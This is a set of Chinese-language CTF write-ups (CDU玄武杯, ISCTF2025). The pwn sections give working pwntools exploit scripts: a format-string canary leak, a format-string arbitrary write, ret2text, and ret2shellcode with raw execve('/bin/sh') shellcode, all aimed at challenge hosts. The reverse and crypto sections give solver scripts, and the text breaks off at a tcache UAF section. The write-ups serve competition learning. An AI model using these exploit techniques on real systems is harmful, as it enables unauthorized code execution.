Please input your username: AAAAAAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello, AAAAAAAA0x7fffffffd9c0-(nil)-(nil)-(nil)-(nil)-0x4141414141414141-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x7fffff0a7025-0x7fffffffdcf8-0x8853ad50cb138900-0x7fffffffdbe0-0x401403
��

这里,我们纯靠数都行,刚刚好,第15位就是我们canary的值

所以canary位置就出来了,之后我们在exp里,用%15$p的形式获取canary值就好了

canary到手了,剩下的就是拿功能选项2里存在的栈溢出漏洞打ret2text了

有backdoor函数,函数效果是cat flag

思路就这样了

exp:

from pwn import *
context(log_level = "debug")

# p = remote("ctf.ctbu.edu.cn", 33659)

p = process("./attachment")

backdoor = 0x4011C6

p.sendlineafter("choose a function (1-3): ", "1")


payload1 = b'aaaaaaaa%15$p'
p.sendline(payload1)
print(p.recvuntil(b'aaaaaaaa'))
canary = int(p.recvuntil(b'00').decode(),16)
print(hex(canary))

p.sendlineafter("choose a function (1-3): ", "2")

ret = 0x0000000000401016


p.sendafter(b"Please input your bio: ",b'a' * (0x88) + p64(canary) + b'a' * 8 + p64(ret) + p64(backdoor))


p.interactive()

最后还存在一个栈平衡问题,如果不处理这个栈平衡问题,就会出现进了backdoor函数但是没flag显示的问题

这个也很好处理,通过多加一个ret就好了

ret的找法的话,ROPgadget是个好东西

如还有疑问,请联系出题人

CDU玄武杯

are you lucky

交互,发现要登录,跟随login函数

看到是encode(114514)

跟进encode看加密原理

大致能看出是个base64

直接扔ai加密:

然后就正常进菜单界面了

观察各函数

由于题目开了pie,所以要找到运行时的实际地址

这里可以注意到edit函数中存在一个格串

通过多次远程调试可以拿到栈上参数的地址,然后倒回去找到main函数地址

以及在root函数里可以看到

这里需要改掉target的值才能完成写入/bin/sh的操作

所以这里还可以根据泄露的地址找到target的实际运行地址,并利用格串的任意写直接改掉target的值

最后在传入/bin/sh后再传入一个短的shellcode就好了

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

p= remote('node10.anna.nssctf.cn',22717)
#p = process("./pwn")
username="user_name"
password= "MTE0NTE0"
p.recvuntil(b'username')
p.sendline(username)
p.recvuntil(b'password')
p.sendline(password)


p.recvuntil(b'choice >>')
p.sendline(b'1')
p.recvuntil(b'name')

p.sendline(b'%18$p')
p.recvuntil(b"name is\n")
leaked_addr = int(p.recvline().strip(), 16)
log.info(f"leak:{hex(leaked_addr)}")
main_addr= leaked_addr-0x40a0
log.info(f"main:{hex(main_addr)}")
p.recvuntil(b'new password')
p.sendline(b'123')


target_addr=main_addr+0x40CC
log.info(f"target_addr: {hex(target_addr)}")
payload = fmtstr_payload(20,{target_addr:0x2918})

p.recvuntil(b'choice >>')
p.sendline(b'1')
p.recvuntil(b'new name')
p.sendline(payload)
p.recvuntil(b'new password')
p.sendline(b'123')

p.recvuntil(b'choice >>')
p.sendline(b'3')
p.recvuntil(b'access')

p.send(b"/bin/sh\0")  

p.recvuntil(b"start your performance")

shellcode = asm('''
  lea rdi, [rsp+0x18]    
  xor esi, esi        
  push 0x3b
  pop rax            
  cdq                
  syscall
''')[:15]

p.send(shellcode)
p.interactive()

ret2shellcode

会输出buf的实际地址,返回的是gets函数,栈溢出了,提示是shellcode,直接传就好了

填充至溢出,找ret,根据写入的字节长度控制程序流到shellcode的地址就好了

from pwn import *

io = remote("node9.anna.nssctf.cn", 26033)
# io = process("./pwn")
offset = 72  
context.arch = 'amd64'  
context.os = 'linux'
#shellcode = asm(shellcraft.sh())  
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

io.recvuntil(b'buf @ ')  
buf_addr = io.recvline().strip()  
buf = int(buf_addr, 16)  
print(hex(buf))


ret = 0x000000000040101a  
payload = b'a' * offset + p64(ret) + p64(buf + 72 + 8 + 8) + shellcode


io.sendline(payload)
io.interactive()

Integer_Overflow

v4是int类型的数据,可以造成整数溢出,很常规

直接输入4294967295

就进shell了,交互拿flag即可

fmt

改值就能getshell

能找到target的栈上地址

随手才改了两次,发现输入第8位就是target的位置,那么就直接根据格串的任意写效果进行覆写

exp:

from pwn import *

# p = remote('node9.anna.nssctf.cn', 21634)
p = process("./pwn1")

p.recvuntil(b'message: ')

target_addr = 0x40408c
payload = b'A' * 6
payload += b'%8$n'
payload += b'B' * 6
payload += p64(target_addr)

p.sendline(payload)
p.interactive()

ret2text 64

栈溢出,64位,直接ret,控制程序流到后门函数hint

exp:

from pwn import *
io = remote("node10.anna.nssctf.cn",28349)

offset = 8 + 48
ret = 0x000000000040101a
bin_addr = 0x00000000040136F
pd = b'a'*(offset)
pd += p64(ret)
pd += p64(bin_addr)

io.sendline(pd)
io.interactive()

ISCTF2025

Z3

sub_401000验证函数

该函数包含23个复杂的线性方程,每个方程都涉及23个变量的线性组合。

from z3 import *


a = [BitVec(f'a{i}', 8) for i in range(23)]

s = Solver()



# 方程1
s.add(94*a[22] + 74*a[21] + 70*a[19] + 12*a[18] + 20*a[16] + 62*a[12] + 82*a[10] + 7*a[7] + 63*a[6] + 18*a[5] + 58*a[4] + 94*a[2] + 77*a[0] - 43*a[1] - 37*a[3] - 97*a[8] - 23*a[9] - 86*a[11] - 6*a[13] - 5*a[14] - 79*a[15] - 63*a[17] - 93*a[20] == 20156)

# 方程2
s.add(87*a[22] + 75*a[21] + 73*a[15] + 67*a[14] + 30*a[13] + (a[11] << 6) + 35*a[9] + 91*a[7] + 91*a[5] + 34*a[3] + 74*a[0] - 89*a[1] - 72*a[2] - 76*a[4] - 32*a[6] - 97*a[8] - 39*a[10] - 23*a[12] + 8*a[16] - 98*a[17] - 4*a[18] - 80*a[19] - 83*a[20] == 7183)

# 方程3
s.add(51*a[21] + 22*a[20] + 15*a[19] + 51*a[17] + 96*a[12] + 34*a[7] + 77*a[5] + 59*a[2] + 89*a[1] + 92*a[0] - 85*a[3] - 50*a[4] - 51*a[6] - 75*a[8] - 40*a[10] - 4*a[11] - 74*a[13] - 98*a[14] - 23*a[15] - 14*a[16] - 92*a[18] - 7*a[22] == -7388)

# 方程4
s.add(61*a[22] + 72*a[21] + 28*a[20] + 55*a[18] + 20*a[17] + 13*a[14] + 51*a[13] + 69*a[12] + 10*a[11] + 95*a[10] + 43*a[9] + 53*a[8] + 76*a[7] + 25*a[6] + 9*a[5] + 10*a[4] + 98*a[1] + 70*a[0] - 22*a[2] + 2*a[3] - 49*a[15] + 4*a[16] - 77*a[19] == 69057)

# 方程5
s.add(7*a[22] + 21*a[16] + 22*a[13] + 55*a[9] + 66*a[8] + 78*a[5] + 10*a[3] + 80*a[1] + 65*a[0] - 20*a[2] - 53*a[4] - 98*a[6] + 8*a[7] - 78*a[10] - 94*a[11] - 93*a[12] - 18*a[14] - 48*a[15] - 9*a[17] - 73*a[18] - 59*a[19] - 68*a[20] - 74*a[21] == -31438)

# 方程6
s.add(33*a[19] + 78*a[15] + 66*a[10] + 3*a[9] + 43*a[4] + 24*a[3] + 3*a[2] + 27*a[0] - 18*a[1] - 46*a[5] - 18*a[6] - a[7] - 33*a[8] - 50*a[11] - 23*a[12] - 37*a[13] - 45*a[14] + 2*a[16] - a[17] - 60*a[18] - 87*a[20] - 72*a[21] - 6*a[22] == -26121)

# 方程7
s.add(31*a[20] + 80*a[18] + 34*a[17] + 34*a[15] + 38*a[14] + 53*a[13] + 35*a[12] + 82*a[9] + 27*a[8] + 80*a[7] + 46*a[6] + 18*a[4] + 5*a[1] + 98*a[0] - 12*a[2] - 9*a[3] - 57*a[5] - 46*a[10] - 31*a[11] - 68*a[16] - 94*a[19] - 93*a[21] - 15*a[22] == 26005)

# 方程8
s.add(81*a[21] + 40*a[20] + 34*a[19] + 94*a[18] + 98*a[17] + 11*a[14] + 63*a[13] + 95*a[12] + 43*a[11] + 99*a[10] + 29*a[9] + 81*a[6] + 72*a[5] + 54*a[3] + 21*a[0] - 26*a[1] - 90*a[2] - 15*a[4] - 54*a[7] - 12*a[8] - 38*a[15] - 15*a[16] - 56*a[22] == 57169)

# 方程9
s.add(71*a[18] + 39*a[17] + 73*a[15] + 14*a[14] + 56*a[12] + 56*a[10] + 27*a[9] + 68*a[7] + 39*a[6] + 26*a[5] + 40*a[4] + 24*a[3] + 11*a[2] + 14*a[1] + 94*a[0] - 10*a[8] - 11*a[11] - 63*a[13] - 39*a[16] - 14*a[19] - 17*a[20] - 23*a[21] - 7*a[22] == 40024)

# 方程10
s.add((a[22] << 6) + 80*a[21] + 89*a[20] + 70*a[19] + 66*a[18] + 55*a[17] + 16*a[16] + 84*a[13] + 48*a[12] + 11*a[7] + 32*a[5] + 99*a[0] - 26*a[1] - 91*a[2] - 96*a[3] - 63*a[4] - 67*a[6] - 72*a[8] + 4*a[9] - 84*a[10] - 81*a[11] - 80*a[14] - 98*a[15] == 432)

# 方程11
s.add(a[21] + 41*a[17] + 46*a[12] + 44*a[9] + 63*a[0] - 73*a[1] - 43*a[2] + 4*a[3] - 37*a[4] - 54*a[5] - 58*a[6] - 95*a[7] - 2*a[8] - 37*a[10] - 5*a[11] + 2*a[13] - 46*a[14] - 27*a[15] - 19*a[16] - 78*a[18] - 51*a[19] - 82*a[20] - 59*a[22] == -57338)

# 方程12
s.add(10*a[22] + 58*a[18] + 16*a[17] + 69*a[16] + 6*a[15] + 5*a[12] + 87*a[7] + 47*a[5] + 91*a[4] + 54*a[2] + 21*a[1] + 52*a[0] - 76*a[3] - 96*a[6] - 27*a[8] - 43*a[9] - 15*a[10] - 35*a[11] - 53*a[13] + 4*a[14] - 83*a[19] - 68*a[20] - 18*a[21] == 1777)

# 方程13
s.add(66*a[22] + 92*a[21] + 29*a[20] + 42*a[19] + 55*a[14] + 72*a[13] + 40*a[12] + 31*a[10] + 88*a[9] + 61*a[8] + 59*a[7] + 35*a[6] + 16*a[3] + 24*a[1] + 60*a[0] - 55*a[2] - 8*a[4] - 7*a[5] - 17*a[11] - 25*a[15] - 22*a[16] - 10*a[17] - 59*a[18] == 47727)

# 方程14
s.add(3*a[21] + 54*a[18] + 6*a[15] + 93*a[14] + 74*a[10] + 6*a[7] + 98*a[4] + 65*a[3] + 84*a[2] + 18*a[1] + 35*a[0] - 29*a[5] - 40*a[6] - 35*a[8] + 8*a[9] - 15*a[11] - 4*a[12] - 83*a[16] - 74*a[17] - 72*a[19] - 53*a[20] - 31*a[22] == 6695)

# 方程15
s.add(45*a[20] + 14*a[19] + 76*a[18] + 17*a[16] + 86*a[14] + 28*a[11] + 19*a[5] + 46*a[1] + 75*a[0] - 12*a[2] - 27*a[3] - 66*a[4] - 27*a[6] - 32*a[7] - 69*a[8] - 31*a[9] - 65*a[10] - 54*a[12] - 6*a[13] + 2*a[15] - 10*a[17] - 89*a[21] - 16*a[22] == -3780)

# 方程16
s.add(62*a[21] + 74*a[20] + 28*a[18] + 7*a[17] + 74*a[16] + 45*a[15] + 57*a[14] + 34*a[11] + 85*a[10] + 98*a[6] + 29*a[4] + 94*a[3] + 51*a[2] + 85*a[1] - 36*a[5] - a[7] - 3*a[8] - 74*a[9] - 70*a[12] - 68*a[13] - 3*a[19] + 8*a[22] == 47300)

# 方程17
s.add(22*a[22] + 45*a[21] + 14*a[19] + 32*a[18] + 77*a[17] + 70*a[12] + 7*a[10] + 99*a[4] + 82*a[0] - 48*a[1] - 40*a[2] - 81*a[3] - 27*a[5] - 75*a[6] - 79*a[7] - 26*a[8] - 68*a[9] - 57*a[11] - 77*a[13] - 32*a[14] - a[15] - 91*a[16] - 14*a[20] == -34153)

# 方程18
s.add(65*a[21] + 13*a[20] + 61*a[17] + 97*a[13] + 24*a[10] + 40*a[5] + 20*a[0] - 81*a[1] - 17*a[2] - 77*a[3] - 79*a[4] - 45*a[6] - 61*a[7] - 48*a[8] - 97*a[9] - 49*a[11] - 14*a[12] - 81*a[14] - 20*a[15] - 27*a[16] - 89*a[18] - 93*a[19] - 46*a[22] == -55479)

# 方程19
s.add(60*a[21] + 70*a[20] + 13*a[15] + 87*a[13] + 76*a[11] + 88*a[9] + 87*a[3] + 87*a[0] - 97*a[1] - 40*a[2] - 49*a[4] - 23*a[5] - 30*a[6] - 50*a[7] - 98*a[8] - 21*a[10] - 54*a[12] - 65*a[14] - 80*a[17] - 28*a[18] - 57*a[19] - 70*a[22] == -20651)

# 方程20
s.add(54*a[20] + 86*a[17] + 92*a[16] + 41*a[15] + 70*a[10] + 9*a[9] + a[8] + 96*a[7] + 45*a[6] + 78*a[5] + 3*a[4] + 90*a[3] + 71*a[2] + 96*a[0] - 8*a[1] + 4*a[11] - 55*a[12] - 73*a[13] - 54*a[14] - 89*a[18] - (a[19] << 6) - 67*a[21] + 4*a[22] == 35926)

# 方程21
s.add(5*a[22] + 88*a[20] + 52*a[19] + 21*a[17] + 25*a[16] + 3*a[13] + 88*a[10] + 39*a[8] + 48*a[7] + 74*a[6] + 86*a[4] + 46*a[2] + 17*a[0] - 98*a[1] - 50*a[3] - 28*a[5] - 73*a[9] - 33*a[11] - 75*a[12] - 14*a[14] - 31*a[15] - 26*a[18] - 52*a[21] == 8283)

# 方程22
s.add(96*a[22] + 85*a[20] + 55*a[19] + 99*a[13] + 19*a[11] + 77*a[10] + 52*a[9] + 66*a[8] + 96*a[6] + 72*a[4] + 90*a[3] + 60*a[1] + 94*a[0] - 99*a[2] - 26*a[5] - 94*a[7] - 49*a[12] - 32*a[14] - 54*a[15] - 92*a[16] - 71*a[17] - 63*a[18] - 23*a[21] == 33789)

# 方程23
s.add(15*a[22] + a[19] + 26*a[17] + 65*a[16] + 80*a[11] + 92*a[8] + 28*a[5] + 79*a[4] + 73*a[0] - 98*a[1] - 2*a[2] - 70*a[3] - 10*a[6] - 30*a[7] - 51*a[9] - 77*a[10] - 32*a[12] - 32*a[13] + 8*a[14] + 4*a[15] - 11*a[18] - 83*a[20] - 85*a[21] == -10455)


print("开始求解...")
if s.check() == sat:
  print("找到解!")
  m = s.model()
   
  # 获取解并转换为字节
  solution = [m[a[i]].as_long() for i in range(23)]
   
  print("异或后的值:", solution)
  print("异或后的字符串:", ''.join([chr(c) for c in solution]))
   
  original = [c ^ 0xC for c in solution]
  print("原始flag:", ''.join([chr(c) for c in original]))
else:
  print("无解")
  print(s.check())

MysteriousStream

  1. 初步分析

拿到题目后,包含一个二进制文件 challenge 和一个数据文件 payload.dat。 首先查看 challenge 的字符串信息,发现了几个关键字符串:

  • Secr3tK3
  • P4ssXOR
  • rc4_variant
  • xor_cycle

这些字符串暗示了题目可能涉及 RC4 加密变种以及异或操作。

  1. 逆向分析

使用 IDA 或反汇编工具分析主要逻辑(结合动态调试或静态分析):

密钥构建

在代码中发现对 Secr3tK3 的处理。程序并不是直接使用 Secr3tK3,而在其后拼接了 y! (0x79, 0x21)。

mov word ptr [rsp + 0x16], 0x2179  ; 追加 "y!"

所以 RC4 的实际密钥为 Secr3tK3y!

加密逻辑

程序主要流程是对输入数据进行两步操作:

  1. RC4 变种解密
  2. 循环异或 (XOR Cycle)

RC4 变种分析: 标准的 RC4 KSA(密钥调度算法)如下:

j = (j + S[i] + key[i % len(key)]) % 256

但在本题的汇编代码中,KSA 增加了一个额外的项 (i & 0xAA)

mov edx, ecx
and edx, 0xaa
add eax, edx ; eax 累加了 (i & 0xAA)

还原后的 KSA 逻辑为:

j = (j + S[i] + key[i % len(key)] + (i & 0xAA)) % 256

PRGA(伪随机数生成)部分与标准 RC4 一致。

XOR Cycle 分析: RC4 处理后的数据,与密钥 P4ssXOR 进行循环异或。

3. 解密脚本

根据分析的逻辑,编写 Python 脚本解密 payload.dat。由于流密码(RC4)和异或运算都是对称的(或自反的),如果程序是“解密并打印”,我们只需要重现程序的逻辑即可。

import binascii

def solve():
   # 1. 读取 payload
   # payload.dat 的十六进制内容
   payload_hex = "f1c652acab33ee6873cea53f0e0eb7fdc731be9aa7e8d41fe04b3154ff7cccd2160b4034e6b815bf"
   data = binascii.unhexlify(payload_hex)
   
   # 2. 准备密钥
   key_rc4 = b"Secr3tK3y!"  # 运行时构建的密钥
   key_xor = b"P4ssXOR"     # 静态字符串
   
   # 3. RC4 变种初始化 (KSA)
   S = list(range(256))
   j = 0
   for i in range(256):
       # 变种逻辑:增加了 (i & 0xAA)
       j = (j + S[i] + key_rc4[i % len(key_rc4)] + (i & 0xAA)) % 256
       S[i], S[j] = S[j], S[i]
       
   # 4. RC4 解密 (PRGA)
   i = 0
   j = 0
   rc4_output = []
   for char in data:
       i = (i + 1) % 256
       j = (j + S[i]) % 256
       S[i], S[j] = S[j], S[i]
       k = S[(S[i] + S[j]) % 256]
       rc4_output.append(char ^ k)
       
   # 5. XOR Cycle 解密
   flag = []
   for idx, char in enumerate(rc4_output):
       k = key_xor[idx % len(key_xor)]
       flag.append(char ^ k)
       
   print(bytes(flag).decode('utf-8'))

if __name__ == "__main__":
   solve()

4. 获取 Flag

运行脚本输出最终 Flag:

ISCTF{Y0u_a2e_2ea11y_a_1aby2inth_master}

Power tower

题目给出了一个加密脚本和三个值:

from Crypto.Util.number import *
import random

m = b'ISCTF{****************}'
flag = bytes_to_long(m)
n = getPrime(256)
t = getPrime(63)
l = pow(2, pow(2, t), n)
c = flag ^ l
print(t)
print(n)
print(c)

已知条件:

  • t = 6039738711082505929
  • n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
  • c = 114092817888610184061306568177474033648737936326143099257250807529088213565247

加密过程:

  1. 将 flag 转换为长整数
  2. 生成两个随机素数:n (256位) 和 t (63位)
  3. 计算 l = 2^(2^t) mod n(这是一个幂塔结构)
  4. 计算密文 c = flag XOR l

解题思路

要解密 flag,需要计算 l = 2^(2^t) mod n,然后通过 flag = c XOR l 得到 flag。

但是 2^t 是一个天文数字(2^6039738711082505929),无法直接计算。我们需要使用欧拉定理来简化这个计算。

欧拉定理: 如果 gcd(a, n) = 1,则 a^φ(n) ≡ 1 (mod n)

其中 φ(n) 是欧拉函数,表示小于 n 且与 n 互质的正整数的个数。

应用:

对于 2^(2^t) mod n,如果 gcd(2, n) = 1(通常成立,因为 n 是奇数),我们可以使用欧拉定理:

2^(2^t) mod n = 2^(2^t mod φ(n)) mod n

这样,我们只需要:

  1. 分解 n 得到其因子
  2. 计算 φ(n)
  3. 计算 2^t mod φ(n)(这个可以计算,因为 φ(n) < n
  4. 计算 2^(2^t mod φ(n)) mod n
#!/usr/bin/env sage
# -*- coding: utf-8 -*-

"""
Power Tower 解密脚本
使用 SageMath 进行大数分解和模幂运算
"""

# 给定的值
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247

print("=" * 60)
print("Power Tower 解密")
print("=" * 60)
print("t = " + str(t))
print("n = " + str(n))
print("c = " + str(c))
print()

# 将 n 转换为 SageMath 整数
n = Integer(n)
c = Integer(c)
t = Integer(t)

# 分解 n
print("正在分解 n...")
try:
  factors = factor(n)
  print("n 的因子分解: " + str(factors))
   
  # 计算欧拉函数 φ(n)
  phi_n = euler_phi(n)
  print("φ(n) = " + str(phi_n))
except Exception as e:
  print("分解失败: " + str(e))
  # 如果无法分解,假设 n 是素数
  print("假设 n 是素数")
  phi_n = n - 1

print()

# 计算 2^t mod φ(n)
print("计算 2^t mod φ(n)...")
exp_mod_phi = power_mod(2, t, phi_n)
print("2^t mod φ(n) = " + str(exp_mod_phi))

# 计算 l = 2^(2^t) mod n = 2^(2^t mod φ(n)) mod n
print()
print("计算 l = 2^(2^t mod φ(n)) mod n...")
l = power_mod(2, exp_mod_phi, n)
print("l = " + str(l))

# 解密: flag = c ^ l
print()
print("解密 flag...")
flag_long = c ^^ l # SageMath 中的异或运算符
print("flag (整数) = " + str(flag_long))

# 转换为字节
print()
print("转换为字节...")
# 将整数转换为字节列表
flag_digits = flag_long.digits(256)
flag_bytes = bytes(reversed(flag_digits))

try:
  flag_str = flag_bytes.decode('utf-8', errors='ignore')
  print("\n" + "=" * 60)
  print("解密后的 flag: " + flag_str)
  print("=" * 60)
  print("flag (hex): " + flag_bytes.hex())
except Exception as e:
  print("UTF-8 解码失败: " + str(e))
  print("flag (hex): " + flag_bytes.hex())
  # 尝试直接显示字节
  print("flag (bytes): " + str(flag_bytes))
============================================================
Power Tower 解密
============================================================
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247

正在分解 n...
n 的因子分解: 127 * 841705194007 * 1005672644717572752052474808610481144121914956393489966622615553
φ(n) = 106656465954594992227312203077713006587965800635814353306369389060697410445312

计算 2^t mod φ(n)...
2^t mod φ(n) = 63628789584090558595465598091196928076720283286383800204368188448772762091520

计算 l = 2^(2^t mod φ(n)) mod n...
l = 82062069866179877089267477826918688212074322751651681520625309711026709241410

解密 flag...
flag (整数) = 33165950942018378556776034296645277066869513684055746490680244406481376584061

转换为字节...

============================================================
解密后的 flag: ISCTF{Euler_1s_v3ry|useful!!!!!}
============================================================
flag (hex): 49534354467b45756c65725f31735f763372797c75736566756c21212121217d

小蓝鲨的RSA密文

题目提供了一个 Python 脚本 task.py 和输出文件 output.txt

加密逻辑分析

查看 task.py

e = 3
N = getPrime(512) * getPrime(512)

# ... 省略部分代码 ...

aes_key = secrets.token_bytes(16)
m = bytes_to_long(aes_key)

f = a2 * (m * m) + a1 * m + a0

c = (pow(m, e) + f) % N
  1. AES 密钥: m 是一个 128 位(16字节)的随机整数。
  2. RSA 模数: N 是两个 512 位素数的乘积,长度约为 1024 位。
  3. 加密方程:$$
    c \equiv m^3 + a_2 m^2 + a_1 m + a_0 \pmod N
    $$

数值大小估算

我们需要判断模 N 运算是否对结果产生了影响。

  • m 是 128 位整数,即 $$
    m < 2^{128}
    $$
  • $$
    m^3 < (2^{128})^3 = 2^{384}
    $$
  • output.txt 中给出了 a2_high = 9012778 ($$
    \approx 2^{23}
    $$
    ),且 LOW_BITS = 16
  • $$
    a_2 \approx 2^{23} \cdot 2^{16} = 2^{39}
    $$
  • $$
    a_2 m^2 \approx 2^{39} \cdot 2^{256} = 2^{295}
    $$
  • $$
    a_1, a_0
    $$
    相对较小。

整个多项式的值

$$
m^3 + a_2 m^2 + a_1 m + a_0
$$

的量级约为

$$
2^{384}
$$

。 而模数 N 的量级约为

$$
2^{1024}
$$

由于

$$
2^{384} \ll 2^{1024}
$$

,所以 模 N 运算没有发生截断。方程在整数域上直接成立:

$$
m^3 + a_2 m^2 + a_1 m + a_0 – c = 0
$$

未知数处理

题目中 $a_2$ 并不完全已知,只给了高位:

a2_high = a2 >> LOW_BITS

这意味着 $a_2$ 的低 16 位是未知的。我们可以表示为:

$$
a_2 = (a2\_high \ll 16) + \delta
$$

其中

$$
0 \le \delta < 2^{16} = 65536
$$

解题思路

  1. 爆破 $$
    $\delta$
    $$
    :遍历 $0$ 到 $65535$ 的所有可能值。
  2. 构造方程:对于每个 $\delta$,计算出完整的 $a_2$,得到确定的多项式方程 $f(m) = m^3 + a_2 m^2 + a_1 m + a_0 – c = 0$。
  3. 求解方程:在实数域或整数域求解该一元三次方程。由于 $m$ 是整数,我们只需要关注正整数解。可以使用二分查找(因为函数单调递增)或 SageMath 的求根函数。
  4. 验证解:得到的 $m$ 转换为字节串作为 AES 密钥,尝试解密密文 ct。如果解密成功(Padding 正确),则得到 Flag。
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 从 output.txt 读取数值
c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117
a2_high = 9012778
LOW_BITS = 16
a1 = 621315
a0 = 452775142
iv = bytes.fromhex("bf38e64bb5c1b069a07b7d1d046a9010")
ct = bytes.fromhex("8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5")

# 初始化多项式环
R = PolynomialRing(ZZ, 'x')
x = R.gen()

print("开始爆破 delta...")

# 爆破 a2 的低 16 位
for delta in range(1 << LOW_BITS):
   # 构造完整的 a2
   a2 = (a2_high << LOW_BITS) + delta
   
   # 构造方程: x^3 + a2*x^2 + a1*x + a0 - c = 0
   f = x**3 + a2*x**2 + a1*x + a0 - c
   
   # 在整数环上求根
   roots = f.roots()
   
   for r, mult in roots:
       if r > 0:
           m = Integer(r)
           print(f"找到可能的 m (delta={delta}): {m}")
           
           # 尝试 AES 解密
           try:
               aes_key = long_to_bytes(m).rjust(16, b'\0')
               cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
               decrypted = cipher.decrypt(ct)
               flag = unpad(decrypted, 16)
               print(f"Flag: {flag.decode()}")
               exit(0)
           except Exception as e:
               # Padding 错误说明密钥不对
               pass

运行结果

运行脚本后,在 delta = 10219 时找到正确的 $m$,解密得到 Flag:

Found m for delta=10219: [AES Key Integer]
Flag: ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}

baby_equation

题目提供了一个 Python 脚本 baby_equation.py,其中给出了三个关于未知数

$$
a, b, c
$$

的方程以及对应的常数

$$
K_1, K_2, K_3
$$

。其中 c 是 flag 转换成的整数。

方程组如下:

  1. $$
    4b^6 – 2a^3 + 3ac = K_1
    $$
  2. $$
    b^5 + 6c^3 + 2abc = K_2
    $$
  3. $$
    3a^3 – 3ac – 3b^6 = K_3
    $$

1. 观察方程结构

观察方程 (1) 和 (3),我们可以发现各项的幂次较高,特别是 $b^6$。如果我们尝试将这两个方程相加,会消去 $ac$ 项,并合并 $a^3$ 和

$$
b^6
$$

项。

$$
\begin{aligned} K_1 + K_3 &= (4b^6 – 2a^3 + 3ac) + (3a^3 – 3ac – 3b^6) \\ &= (4b^6 – 3b^6) + (3a^3 – 2a^3) + (3ac – 3ac) \\ &= b^6 + a^3 \end{aligned}
$$

$$
S = K_1 + K_3
$$

,则有:

$$
S = a^3 + b^6 \quad \dots(4)
$$

2. 进一步消元与估算

回到方程 (1):

$$
K_1 = 4b^6 – 2a^3 + 3ac
$$

。 我们可以利用 (4) 式将

$$
a^3
$$

替换掉,或者尝试估算 b 的大小。

由 (4) 式得

$$
a^3 = S – b^6
$$

,代入 (1) 式:

$$
\begin{aligned} K_1 &= 4b^6 – 2(S – b^6) + 3ac \\ K_1 &= 4b^6 – 2S + 2b^6 + 3ac \\ K_1 + 2S &= 6b^6 + 3ac \end{aligned}
$$

注意到 b^6 是一个六次幂项,ac 是二次项(假设 a, b, c 的数量级相差不是特别巨大)。在数值极大时,6b^6 的值将远远大于 3ac。 因此,我们可以近似认为:

$$
6b^6 \approx K_1 + 2S
$$

$$
b \approx \sqrt[6]{\frac{K_1 + 2S}{6}}
$$

3. 求解步骤

  1. 计算 S = K_1 + K_3。
  2. 估算 $$
    b_{approx} = \lfloor \sqrt[6]{(K_1 + 2S)/6} \rfloor
    $$
  3. 在估算值 $$
    b_{approx}
    $$
    附近小范围爆破 b。
  4. 对于每一个假设的 b,计算 $$
    a^3 = S – b^6
    $$
    。验证 $S – b^6$ 是否为完全立方数,如果是,则求出 a。
  5. 有了 a 和 b 后,利用方程 (1) $$
    3ac = K_1 – 4b^6 + 2a^3
    $$
    求出 c:$$
    c = \frac{K_1 – 4b^6 + 2a^3}{3a}
    $$
  6. 将 $c$ 转换为字节串即得到 flag。

完整解密脚本

from Crypto.Util.number import long_to_bytes

def integer_root(n, k):
   """计算 n 的 k 次方根的整数部分"""
   if n < 0:
       if k % 2 == 0: return None
       return -integer_root(-n, k)
   if n == 0: return 0
   u, s = n, n + 1
   while u < s:
       s = u
       t = (k - 1) * s + n // pow(s, k - 1)
       u = t // k
   return s

def check_perfect_cube(n):
   """判断是否为完全立方数"""
   root = integer_root(n, 3)
   if root * root * root == n:
       return True, root
   return False, None

def solve():
   # 题目数据
   K1 = 5530346600323339885232820545798418499625132786869393636420197124606005490078041505765918120769293936395609675704197197479866186297686468133906640256390919799453701894382992223127374374212586492263661287287954143417128958298503464448
   K3 = -5530346600323339885232820545798418499625132786869393636420197035566805062064534503704976756468319888650441668826363984844327206056424439752726283862026042410921197396370839233560708886006884569969932749615838070243922866371345910111
   
   # 1. 计算 S = a^3 + b^6
   S = K1 + K3
   
   # 2. 估算 b
   # 6b^6 ≈ K1 + 2S
   val = K1 + 2*S
   b_approx = integer_root(val // 6, 6)
   
   print(f"Searching for b around {b_approx}...")
   
   # 3. 爆破 b 并求解 a, c
   for delta in range(-100, 100):
       b = b_approx + delta
       # 检查 S - b^6 是否为 a^3
       diff = S - b**6
       is_cube, a = check_perfect_cube(diff)
       
       if is_cube:
           print(f"Found a: {a}")
           print(f"Found b: {b}")
           
           # 代回方程1求解 c
           # 3ac = K1 - 4b^6 + 2a^3
           numerator = K1 - 4 * (b**6) + 2 * (a**3)
           denominator = 3 * a
           
           if denominator != 0 and numerator % denominator == 0:
               c = numerator // denominator
               try:
                   flag = long_to_bytes(c)
                   print(f"Flag: {flag.decode()}")
                   break
               except:
                   pass

if __name__ == "__main__":
   solve()

运行脚本得到 flag: ISCTF{y0u_93t_7h3_3qu4710n_50lv3}

tcache

  • 架构: AMD64
  • 保护:
    • Full RELRO
    • Canary found
    • NX enabled
    • PIE enabled
  • Libc 版本: Glibc 2.29
  • 漏洞点:
    • UAF (Use-After-Free): delete 函数释放内存后未将指针置空(Dangling Pointer),且 show 函数未检查 chunk 是否被释放,仅检查非空。这允许攻击者读取已释放堆块的内容(泄露 Libc)或再次操作已释放的堆块。
  • 限制: 全局数组 nodes 大小为 22,意味着我们最多只能进行 22 次 add 操作。

House of Botcake

